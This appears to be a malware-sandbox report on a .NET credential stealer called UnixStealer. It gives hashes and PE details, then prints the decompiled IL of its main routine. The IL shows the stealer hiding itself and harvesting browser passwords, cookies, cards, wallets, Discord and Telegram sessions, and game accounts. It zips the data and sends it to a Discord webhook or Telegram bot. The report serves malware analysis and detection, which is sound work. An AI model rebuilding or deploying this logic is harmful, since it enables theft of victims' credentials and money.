Malicious
Malicious

2b96ddb1cab5adbb957be4a05486fc0e

PE Executable
|
MD5: 2b96ddb1cab5adbb957be4a05486fc0e
|
Size: 303.62 KB
|
application/x-dosexec


Print
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
Hash Value
MD5
2b96ddb1cab5adbb957be4a05486fc0e
Sha1
2049d0d9211c491eb2ef1984817b9d4df5801cdc
Sha256
34822acd6910204466df919f3ffb25cad90518d54a6945b143fd2705283112bd
Sha384
7a24a5dd641d4b5084081a443e73470cb69e1a78495bb37c23be4560e7ff198031b9d7fd4b2385545736b4c5f2d3c134
Sha512
ede3d21b279a1003bd026a93ff6a0af685e9839628bcdd8d8bf7abd7f11bff325808748280961367d91f988cdcd8d9a602c8667a19953b166a897d7e2de51919
SSDeep
6144:i59IhSQf0Ou8yegCyThvFhIpWbYNoAIIypwC+9bJjU/HIR6pUT:Hh6OTyejyThvFhIpQrAHYR/H7UT
TLSH
98545C0127ED465AF2FF5BF8E4B1212583B1B862F83EDB8F6D4464ED1922740D950BA3
File Structure
Overlay_267fddaa.bin
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Info

Overlay extracted: Overlay_267fddaa.bin (513 bytes)

Info

PDB Path: C:\Users\brtig\OneDrive\Desktop\Src\UnixStealer\UnixStealer\obj\Release\UnixStealer.pdb

Module Name

UnixStealer.exe

Full Name

UnixStealer.exe

EntryPoint

System.Void UnixStealer.Program::Main(System.String[])

Scope Name

UnixStealer.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

UnixStealer

Assembly Version

1.6.2.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

.NETFramework,Version=v4.8

Total Strings

1550

Main Method

System.Void UnixStealer.Program::Main(System.String[])

Main IL Instruction Count

777

Main IL

call System.Void UnixStealer.Stealth::HideConsole() call System.Void UnixStealer.Stealth::PreventClose() call System.Void UnixStealer.Stealth::SetProcessPriority() leave.s IL_0014: ldsfld System.String UnixStealer.Help::ExploitDir pop <null> leave.s IL_0014: ldsfld System.String UnixStealer.Help::ExploitDir ldsfld System.String UnixStealer.Help::ExploitDir call System.Boolean System.IO.File::Exists(System.String) brtrue IL_0864: ret call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() callvirt System.String System.Diagnostics.Process::get_ProcessName() call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcessesByName(System.String) ldlen <null> conv.i4 <null> ldc.i4.1 <null> bne.un IL_0864: ret ldsfld System.String UnixStealer.Help::ExploitDir call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> newobj System.Void System.Collections.Generic.List`1<System.Threading.Thread>::.ctor() stloc.0 <null> ldloc.0 <null> ldsfld System.Threading.ThreadStart UnixStealer.Program/<>c::<>9__0_0 dup <null> brtrue.s IL_006B: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld UnixStealer.Program/<>c UnixStealer.Program/<>c::<>9 ldftn System.Void UnixStealer.Program/<>c::<Main>b__0_0() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart UnixStealer.Program/<>c::<>9__0_0 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Collections.Generic.List`1<System.Threading.Thread>::Add(System.Threading.Thread) ldloc.0 <null> ldsfld System.Threading.ThreadStart UnixStealer.Program/<>c::<>9__0_1 dup <null> brtrue.s IL_0095: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld UnixStealer.Program/<>c UnixStealer.Program/<>c::<>9 ldftn System.Void UnixStealer.Program/<>c::<Main>b__0_1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart UnixStealer.Program/<>c::<>9__0_1 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Collections.Generic.List`1<System.Threading.Thread>::Add(System.Threading.Thread) ldloc.0 <null> ldsfld System.Threading.ThreadStart UnixStealer.Program/<>c::<>9__0_2 dup <null> brtrue.s IL_00BF: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld UnixStealer.Program/<>c UnixStealer.Program/<>c::<>9 ldftn System.Void UnixStealer.Program/<>c::<Main>b__0_2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart UnixStealer.Program/<>c::<>9__0_2 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Collections.Generic.List`1<System.Threading.Thread>::Add(System.Threading.Thread) ldloc.0 <null> ldsfld System.Threading.ThreadStart UnixStealer.Program/<>c::<>9__0_3 dup <null> brtrue.s IL_00E9: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld UnixStealer.Program/<>c UnixStealer.Program/<>c::<>9 ldftn System.Void UnixStealer.Program/<>c::<Main>b__0_3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart UnixStealer.Program/<>c::<>9__0_3 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Collections.Generic.List`1<System.Threading.Thread>::Add(System.Threading.Thread) ldloc.0 <null> ldsfld System.Threading.ThreadStart UnixStealer.Program/<>c::<>9__0_4 dup <null> brtrue.s IL_0113: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld UnixStealer.Program/<>c UnixStealer.Program/<>c::<>9 ldftn System.Void UnixStealer.Program/<>c::<Main>b__0_4() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart UnixStealer.Program/<>c::<>9__0_4 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Collections.Generic.List`1<System.Threading.Thread>::Add(System.Threading.Thread) ldloc.0 <null> callvirt System.Collections.Generic.List`1/Enumerator<System.Threading.Thread> System.Collections.Generic.List`1<System.Threading.Thread>::GetEnumerator() stloc.s V_9 br.s IL_0133: ldloca.s V_9 ldloca.s V_9 call System.Threading.Thread System.Collections.Generic.List`1/Enumerator<System.Threading.Thread>::get_Current() callvirt System.Void System.Threading.Thread::Start() ldloca.s V_9 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.Threading.Thread>::MoveNext() brtrue.s IL_0127: ldloca.s V_9 leave.s IL_014C: ldloc.0 ldloca.s V_9 constrained. System.Collections.Generic.List`1/Enumerator<System.Threading.Thread> callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.0 <null> callvirt System.Collections.Generic.List`1/Enumerator<System.Threading.Thread> System.Collections.Generic.List`1<System.Threading.Thread>::GetEnumerator() stloc.s V_9 br.s IL_0162: ldloca.s V_9 ldloca.s V_9 call System.Threading.Thread System.Collections.Generic.List`1/Enumerator<System.Threading.Thread>::get_Current() callvirt System.Void System.Threading.Thread::Join() ldloca.s V_9 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.Threading.Thread>::MoveNext() brtrue.s IL_0156: ldloca.s V_9 leave.s IL_017B: call System.Guid System.Guid::NewGuid() ldloca.s V_9 constrained. System.Collections.Generic.List`1/Enumerator<System.Threading.Thread> callvirt System.Void System.IDisposable::Dispose() endfinally <null> call System.Guid System.Guid::NewGuid() stloc.s V_10 ldloca.s V_10 ldstr N call System.String System.Guid::ToString(System.String) ldc.i4.0 <null> ldc.i4.7 <null> callvirt System.String System.String::Substring(System.Int32,System.Int32) callvirt System.String System.String::ToUpper() stloc.1 <null> ldc.i4.6 <null> newarr System.String dup <null> ldc.i4.0 <null> ldsfld System.String UnixStealer.Help::ExploitDir stelem.ref <null> dup <null> ldc.i4.1 <null> ldstr \Unix- stelem.ref <null> dup <null> ldc.i4.2 <null> call System.String System.Environment::get_UserName() callvirt System.String System.String::ToUpper() stelem.ref <null> dup <null> ldc.i4.3 <null> ldstr - stelem.ref <null> dup <null> ldc.i4.4 <null> ldloc.1 <null> stelem.ref <null> dup <null> ldc.i4.5 <null> ldstr .zip stelem.ref <null> call System.String System.String::Concat(System.String[]) stloc.2 <null> ldstr cp866 call System.Text.Encoding System.Text.Encoding::GetEncoding(System.String) newobj System.Void Ionic.Zip.ZipFile::.ctor(System.Text.Encoding) stloc.s V_11 ldloc.s V_11 ldc.i4.m1 <null> conv.i8 <null> callvirt System.Void Ionic.Zip.ZipFile::set_ParallelDeflateThreshold(System.Int64) ldloc.s V_11 ldc.i4.2 <null> callvirt System.Void Ionic.Zip.ZipFile::set_UseZip64WhenSaving(Ionic.Zip.Zip64Option) ldloc.s V_11 ldc.i4.s 9 callvirt System.Void Ionic.Zip.ZipFile::set_CompressionLevel(Ionic.Zlib.CompressionLevel) ldloc.s V_11 ldc.i4.8 <null> callvirt System.Void Ionic.Zip.ZipFile::set_CompressionMethod(Ionic.Zip.CompressionMethod) ldloc.s V_11 ldc.i4.0 <null> callvirt System.Void Ionic.Zip.ZipFile::set_Strategy(Ionic.Zlib.CompressionStrategy) ldloc.s V_11 ldstr callvirt System.Void Ionic.Zip.ZipFile::set_Comment(System.String) ldloc.s V_11 ldsfld System.String UnixStealer.Help::ExploitDir callvirt Ionic.Zip.ZipEntry Ionic.Zip.ZipFile::AddDirectory(System.String) pop <null> ldloc.s V_11 ldloc.2 <null> callvirt System.Void Ionic.Zip.ZipFile::Save(System.String) leave.s IL_0242: ldc.i4.s 37 ldloc.s V_11 brfalse.s IL_0241: endfinally ldloc.s V_11 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.s 37 newarr System.String dup <null> ldc.i4.0 <null> ldstr @everyone **Unix Stealer** **System Info** ```Computer Name: stelem.ref <null> dup <null> ldc.i4.1 <null> call System.String System.Environment::get_MachineName() stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr Computer OS: stelem.ref <null> dup <null> ldc.i4.3 <null> call System.String UnixStealer.SystemInfo::GetSystemVersion() stelem.ref <null> dup <null> ldc.i4.4 <null> ldstr Total Memory: stelem.ref <null> dup <null> ldc.i4.5 <null> call System.String UnixStealer.SystemInfo::GetRAM() stelem.ref <null> dup <null> ldc.i4.6 <null> ldstr UUID: stelem.ref <null> dup <null> ldc.i4.7 <null> call System.String UnixStealer.SystemInfo::GetProcessorID() stelem.ref <null> dup <null> ldc.i4.8 <null> ldstr CPU: stelem.ref <null> dup <null> ldc.i4.s 9 call System.String UnixStealer.SystemInfo::GetCPUName() stelem.ref <null> dup <null> ldc.i4.s 10 ldstr GPU: stelem.ref <null> dup <null> ldc.i4.s 11 call System.String UnixStealer.SystemInfo::GetGpuName() stelem.ref <null> dup <null> ldc.i4.s 12 ldstr ``` **IP Info** ```IP: stelem.ref <null> dup <null> ldc.i4.s 13 call System.String UnixStealer.SystemInfo::IP() stelem.ref <null> dup <null> ldc.i4.s 14 ldstr Region: stelem.ref <null> dup <null> ldc.i4.s 15 call System.String UnixStealer.SystemInfo::Country() stelem.ref <null> dup <null> ldc.i4.s 16 ldstr Country: stelem.ref <null> dup <null> ldc.i4.s 17 call System.String UnixStealer.SystemInfo::CountryCode() stelem.ref <null> dup <null> ldc.i4.s 18 ldstr ``` **Grabbed Data** ```Cookies: stelem.ref <null> dup <null> ldc.i4.s 19 ldsflda System.Int32 UnixStealer.Counting::Cookies call System.String System.Int32::ToString() stelem.ref <null> dup <null> ldc.i4.s 20 ldstr Passwords: stelem.ref <null> dup <null> ldc.i4.s 21 ldsflda System.Int32 UnixStealer.Counting::Passwords call System.String System.Int32::ToString() stelem.ref <null> dup <null> ldc.i4.s 22 ldstr Credit Cards: stelem.ref <null> dup <null> ldc.i4.s 23 ldsflda System.Int32 UnixStealer.Counting::CreditCards call System.String System.Int32::ToString() stelem.ref <null> dup <null> ldc.i4.s 24 ldstr AutoFills: stelem.ref <null> dup <null> ldc.i4.s 25 ldsflda System.Int32 UnixStealer.Counting::AutoFill call System.String System.Int32::ToString() stelem.ref <null> dup <null> ldc.i4.s 26 ldsfld System.Int32 UnixStealer.Counting::Discord ldc.i4.0 <null> bgt.s IL_0350: ldstr "\nDiscord Tokens: Yes" ldstr br.s IL_0355: stelem.ref ldstr Discord Tokens: Yes stelem.ref <null> dup <null> ldc.i4.s 27 ldsfld System.Int32 UnixStealer.Counting::Telegram ldc.i4.0 <null> bgt.s IL_0368: ldstr "\nTelegram Sessions: Yes" ldstr br.s IL_036D: stelem.ref ldstr Telegram Sessions: Yes stelem.ref <null> dup <null> ldc.i4.s 28 ldsfld System.Int32 UnixStealer.Counting::Wallets ldc.i4.0 <null> bgt.s IL_0380: ldstr "\nCrypto Wallets: Yes" ldstr br.s IL_0385: stelem.ref ldstr Crypto Wallets: Yes stelem.ref <null> dup <null> ldc.i4.s 29 ldsfld System.Int32 UnixStealer.Counting::Steam ldc.i4.0 <null> bgt.s IL_0398: ldstr "\nSteam: Yes" ldstr br.s IL_039D: stelem.ref ldstr Steam: Yes stelem.ref <null> dup <null> ldc.i4.s 30 ldsfld System.Int32 UnixStealer.Counting::Epic ldc.i4.0 <null> bgt.s IL_03B0: ldstr "\nEpic Games: Yes" ldstr br.s IL_03B5: stelem.ref ldstr Epic Games: Yes stelem.ref <null> dup <null> ldc.i4.s 31 ldsfld System.Int32 UnixStealer.Counting::Uplay ldc.i4.0 <null> bgt.s IL_03C8: ldstr "\nUplay: Yes" ldstr br.s IL_03CD: stelem.ref ldstr Uplay: Yes stelem.ref <null> dup <null> ldc.i4.s 32 ldsfld System.Int32 UnixStealer.Counting::Roblox ldc.i4.0 <null> bgt.s IL_03E0: ldstr "\nRoblox: Yes" ldstr br.s IL_03E5: stelem.ref ldstr Roblox: Yes stelem.ref <null> dup <null> ldc.i4.s 33 ldsfld System.Int32 UnixStealer.Counting::Growtopia ldc.i4.0 <null> bgt.s IL_03F8: ldstr "\nGrowtopia: Yes" ldstr br.s IL_03FD: stelem.ref ldstr Growtopia: Yes stelem.ref <null> dup <null> ldc.i4.s 34 ldsfld System.Int32 UnixStealer.Counting::Webcam ldc.i4.0 <null> bgt.s IL_0410: ldstr "\nWebcam: Yes" ldstr br.s IL_0415: stelem.ref ldstr Webcam: Yes stelem.ref <null> dup <null> ldc.i4.s 35 ldsfld System.Int32 UnixStealer.Counting::FileZilla ldc.i4.0 <null> bgt.s IL_0428: ldstr "\nFileZilla Accounts: " ldstr br.s IL_043C: stelem.ref ldstr FileZilla Accounts: ldsflda System.Int32 UnixStealer.Counting::FileZilla call System.String System.Int32::ToString() call System.String System.String::Concat(System.String,System.String) stelem.ref <null> dup <null> ldc.i4.s 36 ldstr ``` stelem.ref <null> call System.String System.String::Concat(System.String[]) stloc.3 <null> ldc.i4.s 37 newarr System.String dup <null> ldc.i4.0 <null> ldstr <b>🔥 Unix Stealer</b> <b>💻 System Info</b> <code>Computer Name: stelem.ref <null> dup <null> ldc.i4.1 <null> call System.String System.Environment::get_MachineName() stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr Computer OS: stelem.ref <null> dup <null> ldc.i4.3 <null> call System.String UnixStealer.SystemInfo::GetSystemVersion() stelem.ref <null> dup <null> ldc.i4.4 <null> ldstr Total Memory: stelem.ref <null> dup <null> ldc.i4.5 <null> call System.String UnixStealer.SystemInfo::GetRAM() stelem.ref <null> dup <null> ldc.i4.6 <null> ldstr UUID: stelem.ref <null> dup <null> ldc.i4.7 <null> call System.String UnixStealer.SystemInfo::GetProcessorID() stelem.ref <null> dup <null> ldc.i4.8 <null> ldstr CPU: stelem.ref <null> dup <null> ldc.i4.s 9 call System.String UnixStealer.SystemInfo::GetCPUName() stelem.ref <null> dup <null> ldc.i4.s 10 ldstr GPU: stelem.ref <null> dup <null> ldc.i4.s 11 call System.String UnixStealer.SystemInfo::GetGpuName() stelem.ref <null> dup <null> ldc.i4.s 12 ldstr </code> <b>🌍 IP Info</b> <code>IP: stelem.ref <null> dup <null> ldc.i4.s 13 call System.String UnixStealer.SystemInfo::IP() stelem.ref <null> dup <null> ldc.i4.s 14 ldstr Region: stelem.ref <null> dup <null> ldc.i4.s 15 call System.String UnixStealer.SystemInfo::Country() stelem.ref <null> dup <null> ldc.i4.s 16 ldstr Country: stelem.ref <null> dup <null> ldc.i4.s 17 call System.String UnixStealer.SystemInfo::CountryCode() stelem.ref <null> dup <null> ldc.i4.s 18 ldstr </code> <b>📊 Grabbed Data</b> <code>Cookies: stelem.ref <null> dup <null> ldc.i4.s 19 ldsflda System.Int32 UnixStealer.Counting::Cookies call System.String System.Int32::ToString() stelem.ref <null> dup <null> ldc.i4.s 20 ldstr Passwords: stelem.ref <null> dup <null> ldc.i4.s 21 ldsflda System.Int32 UnixStealer.Counting::Passwords call System.String System.Int32::ToString() stelem.ref <null> dup <null> ldc.i4.s 22 ldstr Credit Cards: stelem.ref <null> dup <null> ldc.i4.s 23 ldsflda System.Int32 UnixStealer.Counting::CreditCards call System.String System.Int32::ToString() stelem.ref <null> dup <null> ldc.i4.s 24 ldstr AutoFills: stelem.ref <null> dup <null> ldc.i4.s 25 ldsflda System.Int32 UnixStealer.Counting::AutoFill call System.String System.Int32::ToString() stelem.ref <null> dup <null> ldc.i4.s 26 ldsfld System.Int32 UnixStealer.Counting::Discord ldc.i4.0 <null> bgt.s IL_055A: ldstr "\nDiscord Tokens: Yes" ldstr br.s IL_055F: stelem.ref ldstr Discord Tokens: Yes stelem.ref <null> dup <null> ldc.i4.s 27 ldsfld System.Int32 UnixStealer.Counting::Telegram ldc.i4.0 <null> bgt.s IL_0572: ldstr "\nTelegram Sessions: Yes" ldstr br.s IL_0577: stelem.ref ldstr Telegram Sessions: Yes stelem.ref <null> dup <null> ldc.i4.s 28 ldsfld System.Int32 UnixStealer.Counting::Wallets ldc.i4.0 <null> bgt.s IL_058A: ldstr "\nCrypto Wallets: Yes" ldstr br.s IL_058F: stelem.ref ldstr Crypto Wallets: Yes stelem.ref <null> dup <null> ldc.i4.s 29 ldsfld System.Int32 UnixStealer.Counting::Steam ldc.i4.0 <null> bgt.s IL_05A2: ldstr "\nSteam: Yes" ldstr br.s IL_05A7: stelem.ref ldstr Steam: Yes stelem.ref <null> dup <null> ldc.i4.s 30 ldsfld System.Int32 UnixStealer.Counting::Epic ldc.i4.0 <null> bgt.s IL_05BA: ldstr "\nEpic Games: Yes" ldstr br.s IL_05BF: stelem.ref ldstr Epic Games: Yes stelem.ref <null> dup <null> ldc.i4.s 31 ldsfld System.Int32 UnixStealer.Counting::Uplay ldc.i4.0 <null> bgt.s IL_05D2: ldstr "\nUplay: Yes" ldstr br.s IL_05D7: stelem.ref ldstr Uplay: Yes stelem.ref <null> dup <null> ldc.i4.s 32 ldsfld System.Int32 UnixStealer.Counting::Roblox ldc.i4.0 <null> bgt.s IL_05EA: ldstr "\nRoblox: Yes" ldstr br.s IL_05EF: stelem.ref ldstr Roblox: Yes stelem.ref <null> dup <null> ldc.i4.s 33 ldsfld System.Int32 UnixStealer.Counting::Growtopia ldc.i4.0 <null> bgt.s IL_0602: ldstr "\nGrowtopia: Yes" ldstr br.s IL_0607: stelem.ref ldstr Growtopia: Yes stelem.ref <null> dup <null> ldc.i4.s 34 ldsfld System.Int32 UnixStealer.Counting::Webcam ldc.i4.0 <null> bgt.s IL_061A: ldstr "\nWebcam: Yes" ldstr br.s IL_061F: stelem.ref ldstr Webcam: Yes stelem.ref <null> dup <null> ldc.i4.s 35 ldsfld System.Int32 UnixStealer.Counting::FileZilla ldc.i4.0 <null> bgt.s IL_0632: ldstr "\nFileZilla Accounts: " ldstr br.s IL_0646: stelem.ref ldstr FileZilla Accounts: ldsflda System.Int32 UnixStealer.Counting::FileZilla call System.String System.Int32::ToString() call System.String System.String::Concat(System.String,System.String) stelem.ref <null> dup <null> ldc.i4.s 36 ldstr </code> stelem.ref <null> call System.String System.String::Concat(System.String[]) stloc.s V_4 ldc.i4.5 <null> newarr System.String dup <null> ldc.i4.0 <null> ldstr Unix- stelem.ref <null> dup <null> ldc.i4.1 <null> call System.String System.Environment::get_UserName() callvirt System.String System.String::ToUpper() stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr - stelem.ref <null> dup <null> ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> dup <null> ldc.i4.4 <null> ldstr .zip stelem.ref <null> call System.String System.String::Concat(System.String[]) stloc.s V_5 ldstr zip stloc.s V_6 ldloc.2 <null> stloc.s V_7 ldstr stloc.s V_8 ldc.i4.0 <null> stloc.s V_12 ldloc.s V_7 newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.Int64 System.IO.FileInfo::get_Length() ldc.i4 1048576 conv.i8 <null> div <null> stloc.s V_13 ldsfld System.String UnixStealer.Config::discordWebhook call System.Boolean System.String::IsNullOrEmpty(System.String) brtrue.s IL_0718: ldsfld System.String UnixStealer.Config::telegramBotToken ldloc.s V_13 ldc.i4.8 <null> conv.i8 <null> bge.s IL_06DC: ldloc.3 ldloc.3 <null> ldloc.s V_5 ldloc.s V_6 ldloc.s V_7 ldloc.s V_8 call System.String DiscordWebhook::SendFile(System.String,System.String,System.String,System.String,System.String) pop <null> ldc.i4.1 <null> stloc.s V_12 br.s IL_06FC: leave.s IL_0718 ldloc.3 <null> ldstr ⚠️ **Log file is too large for Discord ( ldloca.s V_13 call System.String System.Int64::ToString() ldstr MB). Trying Telegram...** call System.String System.String::Concat(System.String,System.String,System.String,System.String) call System.String DiscordWebhook::Send(System.String) pop <null> ldc.i4.1 <null> stloc.s V_12 leave.s IL_0718: ldsfld System.String UnixStealer.Config::telegramBotToken stloc.s V_14 ldstr Discord error: ldloc.s V_14 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) leave.s IL_0718: ldsfld System.String UnixStealer.Config::telegramBotToken ldsfld System.String UnixStealer.Config::telegramBotToken call System.Boolean System.String::IsNullOrEmpty(System.String) brtrue.s IL_0786: ldloc.s V_12 ldsfld System.String UnixStealer.Config::telegramChatId call System.Boolean System.String::IsNullOrEmpty(System.String) brtrue.s IL_0786: ldloc.s V_12 ldloc.s V_4 call System.Void UnixStealer.Telegram::SendMessage(System.String) ldloc.s V_13 ldc.i4.s 50 conv.i8 <null> bge.s IL_074C: ldstr "⚠️ <b>Log file is too large (" ldloc.s V_7 ldstr Unix Stealer Log call System.Void UnixStealer.Telegram::SendFile(System.String,System.String) br.s IL_0767: ldc.i4.1 ldstr ⚠️ <b>Log file is too large ( ldloca.s V_13 call System.String System.Int64::ToString() ldstr MB).</b> Only system info sent. call System.String System.String::Concat(System.String,System.String,System.String) call System.Void UnixStealer.Telegram::SendMessage(System.String) ldc.i4.1 <null> stloc.s V_12 leave.s IL_0786: ldloc.s V_12 stloc.s V_15 ldstr Telegram error: ldloc.s V_15 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) leave.s IL_0786: ldloc.s V_12 ldloc.s V_12 brtrue.s IL_0794: leave.s IL_07F5 ldstr No delivery method configured. Build with Builder to inject config. call System.Void System.Console::WriteLine(System.String) leave.s IL_07F5: ldsfld System.Boolean UnixStealer.Config::PutOnStartup stloc.s V_16 ldsfld System.String UnixStealer.Config::telegramBotToken call System.Boolean System.String::IsNullOrEmpty(System.String) brtrue.s IL_07CA: ldsfld System.String UnixStealer.Config::discordWebhook ldsfld System.String UnixStealer.Config::telegramChatId call System.Boolean System.String::IsNullOrEmpty(System.String) brtrue.s IL_07CA: ldsfld System.String UnixStealer.Config::discordWebhook ldloc.s V_4 ldstr ⚠️ <b>Error sending file:</b> ldloc.s V_16 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String,System.String) call System.Void UnixStealer.Telegram::SendMessage(System.String) br.s IL_07EE: leave.s IL_07F3 ldsfld System.String UnixStealer.Config::discordWebhook call System.Boolean System.String::IsNullOrEmpty(System.String) brtrue.s IL_07EE: leave.s IL_07F3 ldloc.3 <null> ldstr ⚠️ **Error sending file:** ldloc.s V_16 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String,System.String) call System.String DiscordWebhook::Send(System.String) pop <null> leave.s IL_07F3: leave.s IL_07F5 pop <null> leave.s IL_07F3: leave.s IL_07F5 leave.s IL_07F5: ldsfld System.Boolean UnixStealer.Config::PutOnStartup ldsfld System.Boolean UnixStealer.Config::PutOnStartup brfalse.s IL_0803: nop call System.Void UnixStealer.Program::Finish() br.s IL_0828: leave.s IL_0864 nop <null> ldc.i4 2000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String UnixStealer.Help::ExploitDir ldstr \ call System.String System.String::Concat(System.String,System.String) ldc.i4.1 <null> call System.Void System.IO.Directory::Delete(System.String,System.Boolean) leave.s IL_0828: leave.s IL_0864 pop <null> leave.s IL_0828: leave.s IL_0864 leave.s IL_0864: ret stloc.s V_17 call System.String System.IO.Path::GetTempPath() ldstr stealer_error.txt call System.String System.IO.Path::Combine(System.String,System.String) ldstr Error: ldloc.s V_17 callvirt System.String System.Exception::get_Message() ldstr Stack Trace: ldloc.s V_17 callvirt System.String System.Exception::get_StackTrace() call System.String System.String::Concat(System.String,System.String,System.String,System.String) call System.Void System.IO.File::WriteAllText(System.String,System.String) leave.s IL_0862: leave.s IL_0864 pop <null> leave.s IL_0862: leave.s IL_0864 leave.s IL_0864: ret ret <null>

2b96ddb1cab5adbb957be4a05486fc0e (303.62 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙